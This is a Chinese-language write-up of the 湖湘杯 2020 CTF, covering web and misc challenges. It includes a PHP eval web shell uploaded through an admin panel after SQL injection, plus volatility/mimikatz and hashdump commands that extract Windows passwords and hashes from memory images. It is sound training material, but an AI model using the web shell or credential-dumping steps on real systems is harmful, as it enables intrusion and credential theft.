湖湘杯 2020

Web

题目名字不重要反正题挺简单的

通过 /index.php?file=phpinfo 访问 phpinfo,在其中可以找到 flag。

NewWebsite

随手点击主页文章,可以发现 cid 是数字索引,猜测存在 SQL 注入。

依照一般的注入方式得到帐号密码。

在尝试之下找到 /admin 路由然后使用注入得到的帐号 admin,密码 admin 登录上管理面板。一番查找之后可以找到 /admin/?r=manageinfo,发现其页面下有一个文件上传。

尝试上传一句话木马。

1
<?php @eval($_POST["lemon"]);?>

上传 phtml,访问对应的文件 http://47.111.104.99:50800/upload/touxiang/99621604249634.phtml,发现上传成功。使用蚁剑连上去,即可得到 flag。

Misc

颜文字之谜

用 Wireshark 分析流量包,可以发现 index-demo.html 的响应的 html 中有一段 base64,将整个 Line-based text data 按字节流导出。将 base64 片段摘取出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
KO+9oe+9peKIgO+9pSnvvonvvp7ll6hIaX4gCm==
KO+8oF/vvKA7KSjvvKBf77ygOyko77ygX++8oDspCr==
KCtfKyk/KOOAgj7vuL88KV/OuCjjgII+77i/PClfzrgK
bygq77+j4pa977+jKinjg5bjgpwK
77yc77yI77y+77yN77y+77yJ77yeKOKVr+KWveKVsCAp5aW96aaZfn4K
44O9KOKcv+++n+KWve++nynjg44o77yg77y+77yQ77y+KQp=
KF5e44Kezqgo77+j4oiA77+jKc6oKuKYhSzCsCo6LuKYhijvv6Pilr3vv6MpLyQ6Ki7CsOKYhSog44CCCp==
flwo4omn4pa94ommKS9+byhe4pa9XilvKMKs4oC/wqwpKCriiafvuLbiiaYpKSjvv6Pilr3vv6MqICnjgp7ilLPilIHilLMo4pWv4oC14pah4oCyKeKVr++4teKUu+KUgeKUuwp=
4pSz4pSB4pSzIOODjigg44KcLeOCnOODjingsqBf4LKgCn==
4LKgX+CyoCjila/igLXilqHigLIp4pWv54K45by577yB4oCi4oCi4oCiKu+9nuKXjyjCrF/CrCApCp==
KOODjuOBuO+/o+OAgSlvKO+/o+KUsO+/oyop44Ke4pWwKOiJueeav+iJuSAp77yI77i2Xu+4tu+8iSgqIO+/o++4v++/oyko77+jzrUoI++/oykK
KO++n9CU776fKinvvonil4t877+jfF8gPTMo44OO772A0JQp44OOKOKAstC0772Az4Mpz4Mo77+i77i/zKvMv++/ouKYhinvvZ4o44CAVOODrVQpz4M8KCDigLXilqHigLIpPuKUgOKUgAo=
KMKsX8KsIiko77+j77mP77+j77ybKSjila/CsOKWocKw77yJ4pWv77i1IOKUu+KUgeKUu+ODvSjjgpzilr3jgpzjgIAp77yNQzwoLzvil4c7KS9+KOODmO+9pV/vvaUp44OY4pSz4pSB4pSzCu==
4LKgX+CyoCjila/igLXilqHigLIp4pWv54K45by577yB4oCi4oCi4oCiKu+9nuKXjyjCrF/CrCApCo==
KOKKmcuN4oqZKe+8nyjPg++9gNC04oCyKc+DPCgg4oC14pah4oCyKT7ilIDilIDilIDvvKPOtSjilKzvuY/ilKwpMzwoIOKAteKWoeKAsinilIDilIDilIBD77yc4pSAX19fLSl8fO+9nijjgIBU44OtVCnPgyjjgIMK
4oqZ77mP4oqZ4oil44O9KCrjgII+0JQ8KW/jgpwvKOOEkm/jhJIpL35+KCNfPC0p77yI77ye5Lq677yc77yb77yJCo==
KOODjuOBuO+/o+OAgSlvKO+/o+KUsO+/oyop44Ke4pWwKOiJueeav+iJuSAp77yI77i2Xu+4tu+8iSgqIO+/o++4v++/oyko77+jzrUoI++/oykK
KO++n9CU776fKinvvonil4t877+jfF8gPTMo44OO772A0JQp44OOKOKAstC0772Az4Mpz4Mo77+i77i/zKvMv++/ouKYhinvvZ4o44CAVOODrVQpz4M8KCDigLXilqHigLIpPuKUgOKUgAq=
KOKKmcuN4oqZKe+8nyjPg++9gNC04oCyKc+DPCgg4oC14pah4oCyKT7ilIDilIDilIDvvKPOtSjilKzvuY/ilKwpMzwoIOKAteKWoeKAsinilIDilIDilIBD77yc4pSAX19fLSl8fO+9nijjgIBU44OtVCnPgyjjgIPvvJ7nm67vvJwpCm==
KG/vvp92776fKeODjmQ9PT09PSjvv6Pilr3vv6MqKWLOtT3OtT3OtT0ofu+/o+KWve+/oyl+KOKdpCDPiSDinaQpVeKAouOCp+KAoipVCs==
KO++n9CU776fKinvvonil4t877+jfF8gPTMo44OO772A0JQp44OOKOKAstC0772Az4Mpz4Mo77+i77i/zKvMv++/ouKYhinvvZ4o44CAVOODrVQpz4M8KCDigLXilqHigLIpPuKUgOKUgAp=
KOKKmcuN4oqZKe+8nyjPg++9gNC04oCyKc+DPCgg4oC14pah4oCyKT7ilIDilIDilIDvvKPOtSjilKzvuY/ilKwpMzwoIOKAteKWoeKAsinilIDilIDilIBD77yc4pSAX19fLSl8fO+9nijjgIBU44OtVCnPgyjjgIPvvJ7nm67vvJwpCr==
KG/vvp92776fKeODjmQ9PT09PSjvv6Pilr3vv6MqKWLOtT3OtT3OtT0ofu+/o+KWve+/oyl+KOKdpCDPiSDinaQpVeKAouOCp+KAoipVCt==
KO++n9CU776fKinvvonil4t877+jfF8gPTMo44OO772A0JQp44OOKOKAstC0772Az4Mpz4Mo77+i77i/zKvMv++/ouKYhinvvZ4o44CAVOODrVQpz4M8KCDigLXilqHigLIpPuKUgOKUgAr=
KOKKmcuN4oqZKe+8nyjPg++9gNC04oCyKc+DPCgg4oC14pah4oCyKT7ilIDilIDilIDvvKPOtSjilKzvuY/ilKwpMzwoIOKAteKWoeKAsinilIDilIDilIBD77yc4pSAX19fLSl8fO+9nijjgIBU44OtVCnPgyjjgIPvvJ7nm67vvJwpCi==
KG/vvp92776fKeODjmQ9PT09PSjvv6Pilr3vv6MqKWLOtT3OtT3OtT0ofu+/o+KWve+/oyl+KOKdpCDPiSDinaQpVeKAouOCp+KAoipVCn==
KO++n9CU776fKinvvonil4t877+jfF8gPTMo44OO772A0JQp44OOKOKAstC0772Az4Mpz4Mo77+i77i/zKvMv++/ouKYhinvvZ4o44CAVOODrVQpz4M8KCDigLXilqHigLIpPuKUgOKUgAo=
KOKKmcuN4oqZKe+8nyjPg++9gNC04oCyKc+DPCgg4oC14pah4oCyKT7ilIDilIDilIDvvKPOtSjilKzvuY/ilKwpMzwoIOKAteKWoeKAsinilIDilIDilIBD77yc4pSAX19fLSl8fO+9nijjgIBU44OtVCnPgyjjgIPvvJ7nm67vvJwpCp==
KG/vvp92776fKeODjmQ9PT09PSjvv6Pilr3vv6MqKWLOtT3OtT3OtT0ofu+/o+KWve+/oyl+KOKdpCDPiSDinaQpVeKAouOCp+KAoipVCq==
KG/vvp92776fKeODjmQ9PT09PSjvv6Pilr3vv6MqKWLOtT3OtT3OtT0ofu+/o+KWve+/oyl+KOKdpCDPiSDinaQpVeKAouOCp+KAoipVCl==
KO++n9CU776fKinvvonil4t877+jfF8gPTMo44OO772A0JQp44OOKOKAstC0772Az4Mpz4Mo77+i77i/zKvMv++/ouKYhinvvZ4o44CAVOODrVQpz4M8KCDigLXilqHigLIpPuKUgOKUgAq=
KOKKmcuN4oqZKe+8nyjPg++9gNC04oCyKc+DPCgg4oC14pah4oCyKT7ilIDilIDilIDvvKPOtSjilKzvuY/ilKwpMzwoIOKAteKWoeKAsinilIDilIDilIBD77yc4pSAX19fLSl8fO+9nijjgIBU44OtVCnPgyjjgIPvvJ7nm67vvJwpCl==
KG/vvp92776fKeODjmQ9PT09PSjvv6Pilr3vv6MqKWLOtT3OtT3OtT0ofu+/o+KWve+/oyl+KOKdpCDPiSDinaQpVeKAouOCp+KAoipVCi==
KOKVr+KAteKWoeKAsinila/ngrjlvLnvvIHigKLigKLigKIK
KOKVr+KAteKWoeKAsinila/ngrjlvLnvvIHigKLigKLigKIK
KOKVr+KAteKWoeKAsinila/ngrjlvLnvvIHigKLigKLigKIK
KOKVr+KAteKWoeKAsinila/ngrjlvLnvvIHigKLigKLigKIo4pWv4oC14pah4oCyKeKVr+eCuOW8ue+8geKAouKAouKAoijila/igLXilqHigLIp4pWv54K45by577yB4oCi4oCi4oCiKOKVr+KAteKWoeKAsinila/ngrjlvLnvvIHigKLigKLigKIK
ZmxhZ+iiq+aIkeeCuOayoeS6huWTiOWTiOWTiC==

使用 base64 隐写的脚本可以跑出 key:"lorrie"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res
def solve_stego():
with open('text.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
print diff
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print goflag(bin_str)
def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str
if __name__ == '__main__':
solve_stego()

使用 010editor 打开文件的时候不难发现最后有个可疑的空行,结合解密出的 key 和题目描述,不难想到 snow 隐写。于是在 Kali Linux 下使用 stegsnow -p lorrie export.html export.txt 提取文件。

使用记事本打开后得到如下内容,将 →_→ 替换为 -,将 ←_← 替换为 .,空格替换为 / 后得到一段摩斯电码。

1
flag{→_→←_←←_←←_←←_← →_→→_→←_←←_←←_← →_→←_←←_←←_← ←_←←_←←_←→_→→_→ ←_←←_←←_←→_→→_→ ←_← ←_←←_←←_←→_→→_→ →_→→_→→_→→_→←_← →_→←_←←_←←_← ←_←←_←←_←←_←←_← ←_←→_→→_→→_→→_→ →_→→_→→_→→_→→_→ ←_←←_←←_←←_←←_← ←_←←_←→_→←_← →_→←_←←_←←_← ←_←←_←←_←←_←→_→ ←_←→_→ ←_←←_←→_→→_→→_→ →_→→_→→_→→_→←_← ←_←←_←←_←←_←←_← ←_←←_←←_←→_→→_→ ←_←→_→ →_→→_→→_→→_→→_→ →_→←_←→_→←_← ←_← →_→→_→←_←←_←←_← →_→→_→→_→→_→←_← →_→←_←→_→←_← ←_←←_←←_←→_→→_→ ←_←←_←←_←→_→→_→ →_→→_→←_←←_←←_← →_→→_→→_→←_←←_←}
1
flag{-..../--.../-.../...--/...--/./...--/----./-.../...../.----/-----/...../..-./-.../....-/.-/..---/----./...../...--/.-/-----/-.-././--.../----./-.-./...--/...--/--.../---..}

解码后得到 67B33E39B5105FB4A2953A0CE79C3378,将其转为小写之后得到 flag。

1
67b33e39b5105fb4a2953a0ce79c3378

passwd

用 volatility 先确定文件的 profile python vol.py -f WIN-BU6IJ7FI9RU-20190927-152050.raw imageinfo

然后根据题目描述直接尝试读取用户密码 python vol.py -f WIN-BU6IJ7FI9RU-20190927-152050.raw --profile=Win7SP1x86 mimikatz

将密码 qwer1234 按照题目描述 sha1 处理之后得到 flag。

1
db25f2fc14cd2d2b1e7af307241f548fb03c312a

虚实之间

zip文件要密码,用 010editor 查看,以为伪加密,改了 09 00 改成 00 00 结果发现好像不是伪加密,那就是真加密。想着 ARCHPR 可以直接爆破但是不行,字典也不行,最后考虑了一下 zip 压缩包明文攻击。

mingwen-副本.txt 文件压缩,查看压缩算法,发现与原 zip 文件中的 mingwen.txt 中相同,用 AZPR 爆破得到口令,解压得到flag.txt。

1
2
仅需5,跳过去
ffd5e341le25b2dcab15cbb}gc3bc5b{789b51

这很像我很久之前分析过的虾米音乐 API 里的 location,先排成一个方阵然后再转置即可,这里补全 5 之后直接套用我很久以前写的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/* Written at 20181215 */
public static void Main(string[] args){
Console.WriteLine(Crytography_Decode("5ffd5e341le25b2dcab15cbb}gc3bc5b{789b51"));
}
internal static string Crytography_Decode(string s){
int linage = Convert.ToInt32(Text_GetLeft(s, 1));
s = Text_GetRight(s, s.Length - 1);//第一位作为行数被提取
int column = Convert.ToInt32(s.Length / linage) + 1;//求出列数
string[,] arrays = new string[linage, column];
int arrayToBlock = linage - (s.Length % linage);//求出需要取空的位数
int i, j;
for (i = 0, j = 0; i < arrayToBlock;){//为最后一列的最后几位取空标记
arrays[linage - 1 - i, column - 1] = "";
i++;
}
for (i = 0, j = 0; i < linage;){//方正排列
arrays[i, j] = Text_GetLeft(s, 1);
s = Text_GetRight(s, s.Length - 1);
j++;
if (j == column || arrays[i, j] == ""){
i++;
j = 0;
}
}
for (i = 0, j = 0; j < column;){//顺序输出
s = s + arrays[i, j];
i++;
if (i == linage || arrays[i, j] == ""){
j++;
i = 0;
}
}
return s;
}
internal static string Text_GetRight(string str, int length){
if (str == ""){
return "";
}
string text = str.Substring(str.Length - length, length);
return text;
}
internal static string Text_GetLeft(string str, int length){
if (str == ""){
return "";
}
string text = str.Substring(0, length);
return text;
}

1
febc7d2138555b9ebccb32b554dbb11c

隐藏的秘密

用 volatility 先确定虚拟内存文件的 profile python vol.py -f p.vmem imageinfo,然后使用 filescan 读取其文件列表,可以在其桌面下发现 file.txt

然后提取这个文件,使用文本编辑工具打开,可以得到 hint。

然后,使用 registrydump 导出所有注册表文件。

使用 Eric R. Zimmerman 的 RegistryExplorer 加载 SAM 相关的注册表文件,找到唯一一个登陆过的账户。

使用 hivelist 找出注册表,然后使用对应的键值和 hashdump 查出用户密码的 hash 值,筛选出对应的用户,得到 FHREhpe$:70fdb8f853bd427d7584248b8d2c9f9e:f3cf477fc3ea6ec0b3b5887616dd4506:::

image-20201101233147616

将 hash 的后半部分 f3cf477fc3ea6ec0b3b5887616dd4506 放到 cmd5 网站上尝试解密得到 NIAIWOMA。拼接上用户名,得到 FHREhpe$:NIAIWOMA,将其按照 hint MD5 处理之后得到 flag。

1
8cf1d5b00c27cb8284bce9ccecb09fb7